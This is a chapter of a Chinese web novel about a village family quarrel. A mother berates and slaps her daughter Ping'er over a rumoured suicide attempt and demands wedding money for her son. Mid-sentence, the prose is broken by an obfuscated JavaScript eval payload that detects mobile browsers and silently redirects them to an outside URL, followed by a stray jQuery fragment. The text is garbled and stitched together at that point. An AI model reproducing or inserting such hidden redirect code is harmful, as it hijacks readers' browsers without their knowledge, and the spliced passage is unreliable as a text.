小雨刷刷 作品
151. 给长树娶个天仙
长树爹抓耳挠腮,没好气道:“没头没脑的事,你这让我去哪里找啊?”
刘婶哭叫半天也是够了,她有气无力地道:“当然是先去你娘那里看看了,看看萍儿是不是真的撒谎了!唉……真是个没出息的,赵家的婚事还没彻底完呢,她就给我弄出这么个事,要是被赵家知道了,还不得嫌弃晦气?本来还有商量的,这回算是彻底完了!她不嫁给赵家要怎么办……”
刘婶急得想跺脚又实在没有力气,她原打算说什么也要萍儿攀上赵家的,就算去官衙说理,赵家也是没理的那边,可现在萍儿寻死,就算没死成,赵家只要用这个为借口,别说纳过吉,哪怕是上了花轿,也可以休了你!
想到这里,刘婶一口气差点没上来,直接从椅子上仰了过去。
萍儿两个妹妹赶紧上前,帮着刘婶摩挲前胸,刘婶脸色灰白,眼泪挂在眼角,整个人软绵绵堆缩在角落里,只微微浮动的胸口,能看出她是个活人。
长树爹急得站起转了两圈,回身问刘婶道:“你不是说这都是从沈三娘嘴里听说的吗,我看难保是真的,别我去了老家,还白白跑一趟!”他刚干完农活,身上正累着呢,往常原本是一壶小酒,吃饱喝足醉蒙蒙小憩一觉的时候,忽然遇见这种事,只觉得仿佛一块大石头被搬在头上压着。
长树爹忽然想起什么,对长树道:“不如你去你奶奶家一趟,问问是什么情况?”
长树同样刚从地里回来,一身疲累,也不知道他是不是也不相信刘婶的话,他皱眉对刘婶道:“娘,我这腿一点力气都没有,你看爹爹还让我跑远路,我哪里走得动?再说了,爹也说沈三娘不可信,我看咱们还是再打听打听吧。”
打听打听?去哪里打听不得走路去?家里又不是赵家那样的,有自己家的马车,随时抬脚就能把附近村子走个遍。
长树身子骨弱,怎么这老头子也不能走了?爷俩这是想让她这个半死不活样子的人接着出去跑腿?
刘婶一气之下又坐了起来,她自然舍不得说长树,便把火气撒在旁人身上,一甩手把两个女儿甩到一旁,呵斥道:“都是赔钱货,也不知道看着你们姐姐点!”
两个小女儿都刚刚十岁出头,要不是因为不认识路,刘婶就打发她们去了。听见刘婶的斥责,两个女儿都惭愧地低下了头。
刘婶对长树爹说道:“你儿子身子不好你不知道吗?我这个样子怎么有力气出去,你赶紧去跑一趟,问清楚怎么回事,等到嘴的鸭子飞了,你就哭去吧!”
“……还想坐马车?我看没了我,你们一个个一辈子都别想坐上马车,连牛车都不配!”刘婶对着长树爹就开始呸上了,长树爹无法,只得套上鞋子,打算回老家去问问。
刘婶的话虽然是对着长树爹说的,但长树在旁听了却有点不高兴,这话明显是把他也一起算上了,说他也一辈子坐不上马车,再说了,长树还是头一次看见刘婶听见他说腿一点力气没有而没第一时间过来抚慰他的。
长树觉得自己被刘婶冷落了。
他哼了一声,正想说些什么来引起刘婶的注意,忽然大门被人打开了,众人愣神的功夫,萍儿从外面走进来。
看见刘婶等都不寻常地地聚在门口,她也不惊讶,淡淡打了个招呼,就想绕过去回自己房里取东西。
萍儿正是回来收拾东西的,柳家虽然给发了一套新被褥和换洗的工装,还有一些简单的生活用品,但说到底这些都是给男子准备的,萍儿就想着回家一趟,把需要的行李一次性整理出来,带到工棚,这样以后很长一段时间她都不必回村了。
不回村,也就不用面对那些异样的眼光。现在萍儿内心已经开始变得坚强,但她也不想和那些整天只知道东家长西家短的村人们打交道。
岂知萍儿路过刘婶身旁,被一下子薅住袖子,刘婶质问道:“这两天你去哪儿了,是去你奶奶家了吗?”
萍儿这是和工地的其他帮工串了班,急着回来取东西的,她不想和刘婶等多说什么,含糊回答道:“……嗯。”
因忽然想到既然没死成,接下来的日子都要在柳家过,再怎么也得告诉刘婶一下,便又说道:“我还得多去些日子,一时半会儿不回来了,你们不用去找我。”
长树听见这话,忙对刘婶和爹爹说道:“你们看,我就说沈三娘说的话不可信,大妹子好好地在这里,咱们倒是白操心!”长树爹一看女儿已经回来了,懒得跟刘婶多说二话,转身出门就去找老酒友去了,长树紧跟其后。
看爷俩就这么脚不沾地像往常那样离开了家,刘婶气不打一处来,闹了半天她这是白忙活了?她累成这个样子,家里的男人没有心疼她的,刘婶也不抱怨,直把气撒在萍儿身上。
“你站下!我有话问你!”刘婶拦住要往屋里走的萍儿,她没个好脸色,整个人都被怨气笼罩,看得萍儿不由得呆了呆。
刘婶自然很是气愤,要不是这个小蹄子,她用得着操这份心?这么大了还是让她惦记,不过是个丫头,简直比儿子还要让人费心思,这就是罪过!
“你婚婚没结成,家里的活儿也不干,还想去哪里撒野?”刘婶指着萍儿脑门子,像平时那样训斥起来。
看两个妹妹也在旁吓得脸色发白,萍儿心中涌起一阵不快。
就是这样,就是这样,无论什么时候,发生了什么事,哥哥弟弟和爹爹都是无事闲人,可以随时躲出去吃喝玩乐。而家里剩下的矛盾,总是会落在自己和妹妹们的头上,刘婶不管有什么样的怒火,被波及的也是她们几个。
“我没出去撒野。”萍儿罕见地直起了脊背,解释道:“我之前告诉过娘,你也答应了,我去奶奶家回避两天。”
“嗨你个不孝女,你跟谁俩摆脸色呢?”刘婶瞪圆了眼睛,牙齿咬得腮帮子都鼓了起来,“我养你这么大,能不担心你吗?你个白眼狼倒不领情!”
萍儿听见这句,心里软了软,难道娘亲已经想到她会想不开?
她看向刘婶,想在刘婶眼神里找到一丝疼爱,可刘婶只是板着脸,问道:“我问你,你是不是去了柳家做帮工?”
萍儿今天回马背村,特意换上了她身上原来那套衣裳,并没有穿柳家的工装,听见刘婶这么问,心中颇感诧异。
“你怎么知道的?”
刘婶哼了一声,见萍儿如此表现,心中已经有了考量,能进柳家,也不是一般人能做到的,不知这丫头怎么联系上的柳家,一会儿可要好好问问。
但在这之前,还有一件事要搞清楚,萍儿到底有没有跳过井,别真是沈三娘胡诌八扯的吧。
想到这里,刘婶正色道:“你别管我怎么知道的,你就说是还是不是?你先告诉我,别想扯谎!我还有其他事问你!”
见萍儿点头给出了肯定的回答,刘婶嗯了一声,缓和了语气,说道:“这算是件好事,但是,我怎么听说,你又跑去跳什么井?有这回事吗?”
萍儿一怔,犹犹豫豫道:“娘,你这些都是听谁说的?”她想了想,忽然问道:“是不是沈家的娘子说的?”
刘婶一听沈三娘,脑海中顿时又浮现出沈三娘骂她儿子那些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056934|161111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,简直让她头顶盖生烟。
萍儿依旧自言自语道:“肯定是沈家娘子了,我昨天还看见她,既然娘你已经知道了,我就不瞒你,其实我想过了,咱们不如换个活法,别再想着依靠赵家,你看沈家娘子,她一个人带着孩子过,没有男人不也是生活的好好的?咱们为什么不能也跟她这样的人学学……”
萍儿本想说柳家东家姑娘,但自知差距太大,说出来刘婶也未必会信,因此便挑了沈三娘这个档次的,说出来也比较接地气,又同是马背村的人,刘婶接受起来应该容易些。
可没想到话没说完,刘婶就给了她一巴掌,直接把萍儿打得险些跌倒。
刘婶怒骂道:“你提谁不好偏提她?你知道她是怎么说你弟弟的?怎么说你的?”她喘着粗气,双目圆瞪着被两个小女儿扶住的萍儿,咬牙斥道:“我怎么生了你这么个没出息的!胳膊肘往外拐不说,还敢跑去跳井?”
“你知不知道本来咱们家是占理的,他赵家就是去村衙也不好使,说什么也得给咱们家一个说法,他说不出来正当理由就得娶你,这事儿本没得商量,可你倒好……”刘婶絮絮叨叨,把事关利害给萍儿好一顿分析,意思是现在赵家如果知道了萍儿跳井这件事,非得用这个做借口,把本来就已经口头提过的退婚彻底落到实处,这对刘家来说简直等于是把一个大机会个推没了!
萍儿本来听见刘婶斥责自己跳井,以为是心疼她,结果听下后面的话来,才发觉这位亲娘竟然更在意这件事中自己这边的利益得失,甚至扯上大哥长树的婚事,说萍儿是个败家子丧门星,若是人家知道男方家里横死过人,定然是不愿意嫁过来,或者要多加聘礼的,总之,萍儿就这么成了家里的头号大祸害。
萍儿眼泪在眼圈里转了转,又生生忍了回去,她站起身,对刘婶说道:“好,我是丧门星败家子,我走行了吧,我走了以后,你们就都好了!”说罢,扭头就回房翻找自己的东西。
刘婶哪里肯罢休,她把两个小女儿打发去看住门口,自己挤进萍儿的房间,扭住她的手,厉声喝道:“反了天了你!你还想一走了之?我养你这么大,白养了这是?你走,你走,你走了谁照顾你大哥?”
萍儿听见这话,扭着脖子对刘婶毫不示弱地答应道:“大哥有手有脚又没瘫,凭什么让我们姐妹斥候,他喝酒怎么能去喝呢?”
刘婶一惊,深觉这丫头真是彻底管不了了,竟然开始对着家里的男人反抗起来,她眼见萍儿撕扯着就要收拾东西走人,心里一慌,口不择言地说道:“你想走也可以,你大哥的娶亲钱得给我拿出来!我可不能白养你这么大,连点回头钱都没见着,你就别想跑,我不同意,这事没门儿!”
萍儿闻言顿住手里的动作,她之前就想过从工钱里分出一部分拿给家里,一是作为子女回报给爹娘的,二是巴望刘婶能不再像丫鬟下人一样差遣她两个妹妹。
“你想要多少?”
身为柳家帮工的一员,一天能像男人一样赚十个大钱,萍儿的腰杆子从没有像现在这么直挺过,她说起话来也不用再低三下四。
刘婶冷笑道:“口气倒不小!看来翅膀是给你长硬了,别的不说,你大哥娶亲就要十两银子,另外……”
“什么?十两银子?”
萍儿眉头紧紧地拧了起来,她虽然没嫁过人,也没收过什么像样的聘礼,但出门洗衣裳还是听说过男婚女娶的各种小道消息的,村民一年到头辛苦种地,也攒不下一两银子,碰上灾荒年,那就是颗粒无收,十年能攒下六七两银子,都是运气好的时候。
刘婶张口就要十两银子,这是要给长树大哥娶一个天仙?